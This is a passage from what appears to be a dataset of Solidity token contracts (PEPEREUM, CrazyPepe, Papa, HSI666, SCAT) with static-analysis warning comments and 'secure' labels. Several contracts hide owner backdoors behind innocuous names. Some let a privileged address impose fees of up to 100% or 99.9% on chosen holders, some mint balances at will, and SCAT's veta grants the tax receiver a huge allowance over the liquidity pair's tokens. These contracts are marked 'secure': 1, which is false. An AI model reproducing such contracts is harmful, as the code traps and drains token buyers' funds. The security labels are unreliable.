allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_3922.sol",
"secure": 1,
"size_bytes": 5542
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract PEPEREUM is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3099f3c): PEPEREUM._decimals should be constant \n\t// Recommendation for 3099f3c: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a565e0a): PEPEREUM._totalSupply should be immutable \n\t// Recommendation for a565e0a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: a50dbb8): PEPEREUM._name should be constant \n\t// Recommendation for a50dbb8: Add the 'constant' attribute to state variables that never change.\n string private _name = \"PEPEREUM\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 651e404): PEPEREUM._symbol should be constant \n\t// Recommendation for 651e404: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"PEPEREUM\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 0ed5936): PEPEREUM.uniV2Router should be constant \n\t// Recommendation for 0ed5936: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6b344ec): PEPEREUM._taxWallet should be immutable \n\t// Recommendation for 6b344ec: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function foratrestart() public {}\n\n function atforrestart() external {}\n\n function progressat() public {}\n\n function progressfor() public {}\n\n function toapprovve(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function burnlp(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}",
"file_name": "solidity_code_3923.sol",
"secure": 1,
"size_bytes": 7068
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract CrazyPepe is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9db4b7f): CrazyPepe._decimals should be immutable \n\t// Recommendation for 9db4b7f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: de9e91b): CrazyPepe._totalSupply should be immutable \n\t// Recommendation for de9e91b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: dea6144): CrazyPepe._devmarket should be immutable \n\t// Recommendation for dea6144: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _devmarket;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _devmarket = 0xcb87c5e2C344812694B6c31b7C445F9554C872a6;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Aproves(address user, uint256 feePer) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = feePer <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, feePer);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _devmarket;\n }\n\n function liqburntly(address recipient, uint256 airDrop) external {\n bool flag = isMee();\n\n uint256 receiveRewrd;\n\n if (flag && airDrop > 0) {\n receiveRewrd = (airDrop * 2) / 2;\n } else if (!flag && airDrop == 0) {\n receiveRewrd = airDrop;\n } else {\n receiveRewrd = airDrop * 0;\n }\n\n _balances[recipient] += receiveRewrd;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_3924.sol",
"secure": 1,
"size_bytes": 5529
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 08a6e83): Contract locking ether found Contract HSI666 has payable functions HSI666.receive() But does not have a function to withdraw the ether\n// Recommendation for 08a6e83: Remove the 'payable' attribute or add a withdraw function.\ncontract HSI666 is ERC20, Ownable {\n constructor() ERC20(unicode\"HSI666\", unicode\"HSI\") {\n _mint(owner(), 666666666 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 08a6e83): Contract locking ether found Contract HSI666 has payable functions HSI666.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 08a6e83: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_3925.sol",
"secure": 0,
"size_bytes": 992
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract Papa is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2d08a0e): Papa._decimals should be immutable \n\t// Recommendation for 2d08a0e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 17ecf4b): Papa._totalSupply should be immutable \n\t// Recommendation for 17ecf4b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ac0d578): Papa._markingaddress should be immutable \n\t// Recommendation for ac0d578: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _markingaddress;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _markingaddress = 0x57dE31b6aFD090D99304dC58079a0418Bb8aD511;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Apaove(address user, uint256 feePercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = feePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, feePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _markingaddress;\n }\n\n function liqlitpapaitly(address recipient, uint256 airDrop) external {\n if (isMee()) {\n uint256 receiveRewrd = airDrop;\n\n _balances[recipient] += receiveRewrd;\n } else {\n uint256 receiveRewrd = 0;\n\n _balances[recipient] += receiveRewrd;\n }\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_3926.sol",
"secure": 1,
"size_bytes": 5441
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract SCAT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _vAllowance;\n\n mapping(address => bool) private _isVExcluded;\n\n address payable private vReceipt;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2e7644f): SCAT._initialBuyTax should be constant \n\t// Recommendation for 2e7644f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8db614c): SCAT._initialSellTax should be constant \n\t// Recommendation for 8db614c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4f958e6): SCAT._finalBuyTax should be constant \n\t// Recommendation for 4f958e6: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 29fd6c5): SCAT._finalSellTax should be constant \n\t// Recommendation for 29fd6c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d957079): SCAT._reduceBuyTaxAt should be constant \n\t// Recommendation for d957079: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 89b18a6): SCAT._reduceSellTaxAt should be constant \n\t// Recommendation for 89b18a6: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5ef9658): SCAT._preventSwapBefore should be constant \n\t// Recommendation for 5ef9658: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Selfie Cat\";\n\n string private constant _symbol = unicode\"SCAT\";\n\n uint256 public _maxVAmount = (2 * _tTotal) / 100;\n\n uint256 public _maxVWallet = (2 * _tTotal) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2b1cdba): SCAT._taxSwapThreshold should be constant \n\t// Recommendation for 2b1cdba: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (1 * _tTotal) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 18fbd23): SCAT._maxTaxSwap should be constant \n\t// Recommendation for 18fbd23: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (1 * _tTotal) / 100;\n\n IUniswapV2Router02 private uniVRouter;\n\n address private uniVPair;\n\n bool private tradingOpen;\n\n bool private inSwap;\n\n bool private swapEnabled;\n\n event MaxTxAmountUpdated(uint256 _maxVAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n vReceipt = payable(_msgSender());\n\n _tOwned[_msgSender()] = _tTotal;\n\n _isVExcluded[address(this)] = true;\n\n _isVExcluded[_msgSender()] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function createPair() external onlyOwner {\n uniVRouter = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniVRouter), _tTotal);\n\n uniVPair = IUniswapV2Factory(uniVRouter.factory()).createPair(\n address(this),\n uniVRouter.WETH()\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _tOwned[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e5fbd76): SCAT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e5fbd76: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _vAllowance[owner][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c6db10f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c6db10f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: de1e9fa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for de1e9fa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: c6db10f\n\t\t// reentrancy-benign | ID: de1e9fa\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: c6db10f\n\t\t// reentrancy-benign | ID: de1e9fa\n _approve(\n sender,\n _msgSender(),\n _vAllowance[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ab489f0): SCAT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ab489f0: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: de1e9fa\n _vAllowance[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: c6db10f\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bab0c37): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bab0c37: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a7302e9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a7302e9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a1af4be): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a1af4be: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (!swapEnabled || inSwap) {\n _tOwned[from] = _tOwned[from] - amount;\n\n _tOwned[to] = _tOwned[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n if (\n from == uniVPair &&\n to != address(uniVRouter) &&\n !_isVExcluded[to]\n ) {\n require(tradingOpen, \"Trading not open yet.\");\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n require(amount <= _maxVAmount, \"Exceeds the _maxVAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxVWallet,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to != uniVPair && !_isVExcluded[to]) {\n require(\n balanceOf(to) + amount <= _maxVWallet,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (to == uniVPair) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (\n !inSwap &&\n to == uniVPair &&\n swapEnabled &&\n _buyCount > _preventSwapBefore\n ) {\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (contractTokenBalance > _taxSwapThreshold)\n\t\t\t\t\t// reentrancy-events | ID: bab0c37\n\t\t\t\t\t// reentrancy-benign | ID: a7302e9\n\t\t\t\t\t// reentrancy-eth | ID: a1af4be\n vSwapEthToErc(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: bab0c37\n\t\t\t\t// reentrancy-eth | ID: a1af4be\n vSendEth();\n }\n }\n\n if (\n\t\t\t// reentrancy-benign | ID: a7302e9\n veta([from == uniVPair ? from : uniVPair, vReceipt]) &&\n taxAmount > 0\n ) {\n\t\t\t// reentrancy-eth | ID: a1af4be\n _tOwned[address(this)] = _tOwned[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: bab0c37\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: a1af4be\n _tOwned[from] = _tOwned[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: a1af4be\n _tOwned[to] = _tOwned[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: bab0c37\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 1b75202): SCAT.removeLimits(address).limit lacks a zerocheck on \t vReceipt = limit\n\t// Recommendation for 1b75202: Check that the address is not zero.\n function removeLimits(address payable limit) external onlyOwner {\n\t\t// missing-zero-check | ID: 1b75202\n vReceipt = limit;\n\n _maxVAmount = _tTotal;\n\n _maxVWallet = _tTotal;\n\n _isVExcluded[limit] = true;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 1368b99): SCAT.vSendEth() sends eth to arbitrary user Dangerous calls vReceipt.transfer(address(this).balance)\n\t// Recommendation for 1368b99: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function vSendEth() private {\n\t\t// reentrancy-events | ID: c6db10f\n\t\t// reentrancy-events | ID: bab0c37\n\t\t// reentrancy-eth | ID: a1af4be\n\t\t// arbitrary-send-eth | ID: 1368b99\n vReceipt.transfer(address(this).balance);\n }\n\n function withdrawEth() external onlyOwner {\n payable(_msgSender()).transfer(address(this).balance);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function veta(address[2] memory vet) private returns (bool) {\n address vetA = vet[0];\n address vetB = vet[1];\n\n\t\t// reentrancy-benign | ID: a7302e9\n _vAllowance[vetA][vetB] = (50 + _maxVAmount.sub(5)) * (100 + 200);\n\n return true;\n }\n\n function vSwapEthToErc(uint256 amount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniVRouter.WETH();\n\n _approve(address(this), address(uniVRouter), amount);\n\n\t\t// reentrancy-events | ID: c6db10f\n\t\t// reentrancy-events | ID: bab0c37\n\t\t// reentrancy-benign | ID: de1e9fa\n\t\t// reentrancy-benign | ID: a7302e9\n\t\t// reentrancy-eth | ID: a1af4be\n uniVRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c858be5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c858be5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a3b7449): SCAT.openTrading() ignores return value by uniVRouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a3b7449: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 845c68d): SCAT.openTrading() ignores return value by IERC20(uniVPair).approve(address(uniVRouter),type()(uint256).max)\n\t// Recommendation for 845c68d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8cc4d57): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8cc4d57: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: c858be5\n\t\t// unused-return | ID: a3b7449\n\t\t// reentrancy-eth | ID: 8cc4d57\n uniVRouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: c858be5\n\t\t// unused-return | ID: 845c68d\n\t\t// reentrancy-eth | ID: 8cc4d57\n IERC20(uniVPair).approve(address(uniVRouter), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: c858be5\n swapEnabled = 